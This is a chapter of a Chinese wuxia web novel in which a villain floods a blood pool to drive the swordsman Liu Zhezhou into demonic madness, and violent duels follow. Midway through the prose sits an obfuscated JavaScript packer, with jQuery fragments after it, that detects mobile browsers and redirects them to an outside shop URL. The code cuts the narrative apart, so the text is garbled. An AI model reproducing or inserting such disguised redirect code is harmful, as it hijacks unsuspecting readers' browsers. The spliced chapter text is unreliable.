66.七问征心观音了心魔(上)

作品:《与病美人互扒马甲后

    澄明轻抚着自己的心口,感受着那处带来的久违的轻快之感。


    他的脸上露出像做梦一般贪婪愉悦的神情:“我的心口……不痛了。”


    他正迷醉在观音血的奇效里,目光粘滞在原地抱头的柳折舟身上,他的喉间涌动着,对血肉的渴望如同烈焰一般猛涨,扑向四肢百骸!


    “我能喝干他的血吗?”澄明眼中精光一闪而过,嗤笑出声,“他怎么这般不堪?沾了一点仙香浊血居然就要疯了,这就是当世唯一见光的‘第一’?”


    何彦飞嘴角噙着淡淡微笑,解释道:“小殿下莫要小瞧了他从霍洋身上得来的传承,虽说饮下那一滴血肉的命数究竟如何,全部听天由命,但这么多年来能忍着不采活人精血,任由虫丝在自己体内生长抽榨……此人心性也不能小觑。”


    澄明扯了扯嘴角,显然不快,道:“我不信他一点无辜之人的血都没喝过,不然一十六门怎么会满门覆灭?”


    话音才落,何彦飞笑声又起,嗓音依旧淡如云烟:“小殿下所言非虚。他从人渡化为‘观音’,从霍洋的水牢里求得一线生机时,身上所沾染的鲜血就不是我们能想象得到的。”


    澄明冷哼一声,眼中俱是不屑。他道:“还真把自己当成‘观音’了。假惺惺。”


    何彦飞轻轻捻着臂弯里的拂尘,继续道:“噬心蛊虫本就是血仙虫的拙劣仿造,不及本源半分,又将缺陷尽数继承,虫身又是剧毒——呵呵,巧合的是,这毒又能制衡血仙虫,真是七步之内必有克星。”


    “照你这么说,血仙虫不能碰浊血,又不是所有人都像他那样假惺惺地让虫子抽干自己,那向我这种被移植过血仙虫地人就对浊血无碍啊。”澄明挑眉质问。


    他仍旧为自己不及柳折舟一事而耿耿于怀。尤其对方还是一个濒死之人。


    何彦飞静默不语,只是笑,眼底弥漫着无形的笑意,他静听着四周里尸人的哀嚎,血肉撕裂的脆响,血池里的尸人们仍旧在互相厮杀吞噬,而血池中心却留出一片空白。细细看去,空白中立着一个白衣几乎都要被染红的男子,只要一有尸人企图靠近,就会有某种无形的力量瞬间将他们抽干,化为朽木!


    澄明在一旁看得心惊肉跳,即便内心百般不满,也不得不暂时强压下怒火。


    何彦飞也静观着场中的一切……慢慢地,他觉得自己的身体仿佛羽化登仙一般,轻飘飘如在空中。他垂目望着澄明,眉目温和,眉间一点鲜红刺目。


    要他怎么说呢?他总不能说,血仙虫移植失败的那一瞬就已经堕落为蛊虫了啊。


    澄明仰望着他,飘渺烟气之中,有那么一瞬间,他几乎要将眼前这个男人认作真正的观音。慈眉善目,仙风道骨,眉间红点如白毫,光净如珠,能绽光明。


    “血仙虫只能吞噬同类,若是染了浊血。”何彦飞忽地出手,拂尘轻挥荡开,澄明的身子顺着一股劲里飞出血池。


    何彦飞沉了沉声,叮嘱道,“劳烦小殿下将崖壁顶端的龙首打开,今日,我们就彻底让光明染堕黑暗,观音化魔。”


    澄明踉跄几步才站稳,疑惑不解,道:“你要把水牢里剩下的尸人全部变成浊血,就是为了他?这可是你耗费无数人命才转化来的,若是全都没了,这天底下,从哪儿来寻来这么多活祭?”


    “若得观音化魔,何愁没有恶鬼?”何彦飞解开了缠在澄明身上的拂尘,眼底翻涌着无尽的好奇与狂热,痴叹一声,“我倒要看看这日日与嗜血、杀戮、欲望抗衡的观音血,能养出怎样的不死之人躯?万一真的能起死回生呢?”


    澄明已被他推出池外,云雾飘渺间,他的耳边尽是尸人的哀嚎,怒吼,还有那个柳折舟的痛苦喘息和令他生厌的自语,以至于他并没有听见何彦飞最后的叹息:


    “我要不惜一切代价让观音堕落成魔。”


    叹息落下,高高的崖壁之上,一双寒如刀刃般的双眸缓缓闭上,黑暗里,细瘦的手指骤然收紧,混乱急促的铃响弥散开来。


    ——


    远处血池中央,孤鸿剑被弃在一旁,柳折舟仍死死抱头,他的手部青筋虬起,十指已深深钻入血肉里,头皮,额角、脸颊、太阳穴处……尽是斑斑血迹。


    对,仅仅只是斑斑血迹,无论他如何撕扯挣扎,那些伤口都能转瞬愈合——尸人之血正无穷无尽地涌入他的体内,他的心底里生出一种难以抗拒的痒意,灼热似火,似无数蚁群在啃噬着血肉骨骼,痛痒难耐,又在鲜血的浇灌下,愈来愈难以旺盛,闭上眼,他能听见沸腾的血液在全身奔走的声音!


    几乎快要人发了狂!必须怎样才能将这种难耐的欲望,渴血的杀戮停下来?想要无尽的鲜血浇灌在那心底深处的欲望之火里!想要将眼前的一切活物尽数撕裂,指尖晕染着灼热的温度。


    热度不断攀升,他的身体慢慢渗出白烟,他浑身颤抖着,身体愈绷愈紧,粗重的喘息混杂着痛苦的呜咽,泪水汗液交织着血迹从他的脸颊滑落,没入深深的衣领之中。


    远处,不时有扑将过来的尸人化作枯骨,而他的白衣也似活了一般,无数细细密密的红丝顺着衣料纹路蔓延,将素白干净的衣衫染成妖冶的殷红。


    何彦飞绕着血池缓行,每一步都踏出枯骨崩裂的残响,听着那清脆的声音,看着那逐渐崩溃的人,他眼中的快意愈发难以抑制。


    他精心编排的一出好戏正在上演。


    地底再次传来轰鸣的机括运转之声,恍若惊雷。他知道是澄明开启了浊血的机关。


    柳折舟被那声音扯回一丝神智,他勉强睁开眼,眼前一线顿时化作漫天血红!无数滚烫的血流混杂着无处寻觅的痛苦哀嚎瞬间淹没了他的视线!


    崖壁上百余个黄金龙首轰然开启,无数鲜红滚烫的洪流又从龙首中喷涌而出,那些水流泛着热气,像是细小的蛛丝缠缠绵绵,交织在整个空间里,形成一张巨大的细密的血网,铺天盖地而来!


    将柳折舟困在网中,避无可避!


    看不见的黑暗深处机关轴承沉重的声音像是蛇一般爬行着,看不见却听得着的地方有无数惨死之人的哀嚎,剧烈的金属撞击之声,鲜明的血肉碎裂之声,滚烫的万千血流如注之声——


    何彦飞忽地上前,拂尘细丝瞬间绞住柳折舟的全身,声音里亢奋难抑:“让我见见真正的,从尸山血海里涅槃的观音!”


    真气轰然注入拂尘,细如发丝的拂尘转瞬便变得锋利无比,瞬间将柳折舟全身上下割得支离破碎,皮开肉绽!


    “咳!——!”血肉翻涌,他的血染深了池水。


    柳折舟本就因浊血噬心而神智昏沉,剧痛之下,他又一次喷出鲜血来。


    这一次,是混杂着黑色的浓稠血液,他身上的伤口也在转瞬间就恢复了原样。


    何彦飞见状,喜不自胜,叫道:“好!这才是真正的受玄女赐福之人啊!不死不灭!”


    柳折舟立在原地,垂着头,血衣飘荡 ,宛若一具吊死之尸,他的颊边红色裂纹愈加刺目,指尖皮肉里的黑色如墨云一般翻滚着。


    忽地,龙首喷血骤停,场中笼罩着浓稠的血雾。


    无人知晓,方才在山体内部,无数机关纵横之处,最深处的房间里爆出发阵阵碎响,接连火光四射,但见一点寒光飞舞在密室之中,一明一灭间,密室里的机关轴承接连毁坏,山体外部的龙首停止运转。


    短刀回鞘,浊血之雨停息。


    “我就知道你没安好心!”澄明叫嚣着飞扑而来,利爪横行,掀起的强劲风刃直向面前的黑暗而去!


    “铛铛——!”黑暗中一点寒芒乍现,短刀出鞘,尽数将那凌厉攻势全部割断。


    澄明见那短刀如此厉害,眼中怒火闪动,喝道:“有本事就赤手空拳和我打一场——”


    话音未落,只听一阵缤纷杂乱的铃铛乱响,黑暗中飞来一记横扫,澄明当即横劈而出护住心脉,却仍旧被踢出数丈远。


    “你疯了!话也不让人说完!”他立即飞身扑向面前的黑暗中,脸色狰狞可怖。


    与此同时,黑暗里骤然探出一只手,紧紧揪住他的衣领,猛地一甩,澄明狠狠摔倒在地。


    澄明眼前一黑,忽地吃痛,又是一拳打在了他的脸上,口中霎时腥气直冲天灵盖。


    “死丫头!”他暴怒而起,立刻翻身拳脚齐出,“今天我倒要看看你究竟会不会说话!”


    暴怒之下,他的言行一时之间也难以控制,他的动作也从和黑暗中的那人互相缠斗变成了互相肉搏。


    二人你来我往,拳脚相加,寸步不让,但澄明是吃过血仙虫的人,身手更加强悍,片刻后,他终于如愿以偿地擒住了对方那细细的喉咙。


    指腹触即脖颈的一刹,传来了柔软细腻的触感,与他周身粗粝的阴寒截然不同,他的心中莫名涌现出一种诡异的感觉,澄明竟一时怔住。


    “啊啊喀……”黑暗中那细细的喉管里溢出痛苦的喘息,微弱却又倔强。


    “我要杀了你——”澄明回神,他手上的力度几乎可以一瞬间就捏断对方的喉咙,此刻,他等了许久——眼底的惊愕被恨意取代,他终于能为父报仇,血债血偿。


    “你……若不想死……放了我……”黑暗中那痛苦的呼吸里勉强漏出几声嘶哑的威胁。


    几点刃光从暗处闪出,澄明愕然抬头:他知道那是专门用来取血的小刀。


    暗室里霎时安静了下来,心中那口气泄了,他也悻悻松了手。


    指尖还残留着那人的体温,他猛然咬下唇肉,恶狠狠地压下心中的怒意。


    ——


    白衣尽染血,恰如新人归。


    何彦飞怔怔看着血池中央的身影,此刻,他的眼底只有狂热的期待,他要亲眼见证真正的浴血观音,那唯一一个受到玄女赐福,不死不灭,甚至还能与本能欲望抵抗的人。


    柳折舟垂首立在那血池中,


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17121505|188800||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    一身血衣破旧褴褛,暴露在外的双臂,腰际,小腹……上面尽是无尽的刀割剑伤。


    流窜的裂纹已然慢慢伸进他的全身,指尖凝滞的黑色亦像倒进沸水中的墨汁,疯狂的翻滚着,涌动着……丝丝缕缕的血迹顺着下颌,脖颈,流进他的衣衫里,隐在皮肉深处。


    “……告诉……我。”低沉的男声响起,粗重的喘息中夹杂着含糊不清的话语,“刘天承……在哪……哈啊……”


    又是一口黑血从胸腔中涌出,他佝偻着身子,似乎体内剧痛不已,冷汗如浆,周身热气蒸腾。


    四周忽地想起如鼓点一般密集的心跳声,压抑着的颤抖着的低沉喘息亦像野兽一般徘徊在的耳旁,冲进何彦飞的胸腔肺腑。


    何彦飞忽然笑了出来,笑声里掺杂着恐惧,又害怕又高兴又窃喜。只要能抓住涅槃不死的观音,他定能找出彻底灭除蛊虫的方法。


    为此,牺牲一个两个观音又算如何呢?


    漫天弥漫的雾霭朦胧中,渐渐露出一抹高挑的红影,待烟消尘散,何彦飞见那垂首的观音缓缓睁开眼睛,眼中一片血红,凄狠暴戾,杀气磅礴,哪里还有半分温文尔雅的出尘模样!


    何彦飞跃身而起,移至柳折舟面前时,伸手便要抓他颈间要害!


    柳折舟轻轻一侧,便飘到了一旁,红白相间的金丝绣带荡开一片,何炎飞扑了个空只抓下了束发的飘带,顿时一团浓墨晕散在他的眼前。


    如墨一般,晕染在如水月色中,那本就无关性别的脸暴露在清光之下,更显清绝艳丽,满身袍袖衣带被风吹得飒飒作响,那张脸,长发翻飞,眉目似画,宛若天人。


    可眼底却泛着无止尽杀意和疯狂,将原本的轻柔俊雅撕得粉碎!


    是他,又不是他;是恶鬼,不是观音。


    柳折舟依旧在强忍着痛苦,他似乎只得片刻清明,此刻眼中血红,恍若恶鬼,与平时判若两人:“告诉我,刘天承在哪儿。”


    “你居然还留有神智?”何彦飞看着柳折舟,非但不恼,心底反倒生出狂喜来,“我原以为你沾了浊血必会彻底失控,没想到你竟能够抵抗到如此地步!”


    何彦飞右掌便翻转,再次疾攻!柳折舟没有跟他纠缠,即刻后退,轻燕一般跃上院旁的房顶,何彦飞也紧随其后,这二人拳脚相争,你追我赶,丝毫不让。


    见何彦飞紧追不舍,入魔的柳折舟杀意猛涨,一根红绸迅速祭出,内力肆意外放,何彦飞见那红绸来势汹汹,便祭出自己的拂尘。


    “嗤啦——”一声,红绸被一劈两段,何彦飞也欺身而上。


    何彦飞深知此人内功虽然浑厚强悍,但是一身内力却如火山般肆意外放,毫无收敛,这样暴戾的内力耗完也只是时间问题。


    “何某不才,竟惹得阁下也来此处拜访!”他一甩手,拂尘竟绕过柳折舟的头,活蛇一般,朝他的左肩咬去!


    柳折舟登时下腰右移,双臂张开,整个人犹如风中狂乱飞舞的鹅毛雪花,或是伸臂揽袖,或是抬腿跃飞,皆是在躲避何彦飞手里那支邪气异常的拂尘!


    “罢了,说与不说结果也是一样” 柳折舟忽地出言,颊边红丝缠绕,笑意盈盈,道,“反正都是要杀光的。”


    原本清俊出尘的他此刻却更像是来自地狱的嗜血恶鬼,出口狠毒至极。


    “狂妄!”何彦飞出腿横扫,继而跃上前,无数拂尘细丝刺向柳折舟胸腹时,拂尘却像突然沉寂在雪堆里的一根枯枝,被柳折舟用撕烂的衣袖缠住了。


    枯枝裹红袖,白月荡波光。


    “你!”


    “说不说。”柳折舟狂笑道:“不过,结果也无所谓。”


    他的双目发红,周身戾气似剑,长发也随之飞扬,全无平日半点温柔俊雅。


    柳折舟水袖一挥,竟将那拂尘连同何彦飞整个人都卷了过来!


    周身内力爆发,阵阵气浪向四周袭来,碎烂的衣摆映着一头乌发荡在漫天清光里,逐渐化白,犹如满塘清池骤然掀起狂风巨澜,搅得一池乱红幕天席地都是。


    在那漫天乱红中,堪堪伸出一只泛着墨色的惨白的手。


    何彦飞在那落雪似的红色中,纷纷扬扬的,那身影轻轻一笑便转瞬即逝,最后烙印在他眼中的是柳折舟那张因走火入魔而更显痛苦妖冶的脸。


    “那就全部都杀光,就不会有人知道了。”那只惨白的手握住何彦飞的喉咙,一丝自得的狞笑在眼中涌出。


    细瘦修长的手指猛地收紧,甚至能听得到骨骼、皮肉捏断的撕裂声,何彦飞双目几乎快要爆出体外,但也只能无助地蹬腿枯喘。


    咔——咔——咔,何彦飞本以为自己一定会死在这里——


    “慢着……柳折舟。”暗处飘来一句轻轻淡淡的少女的制止。


    “湘湘?”迷迷茫茫间,柳折舟觉得自己听见了原湘湘的声音。


    他愣了一瞬,下意识地用衣袖遮住自己的脸。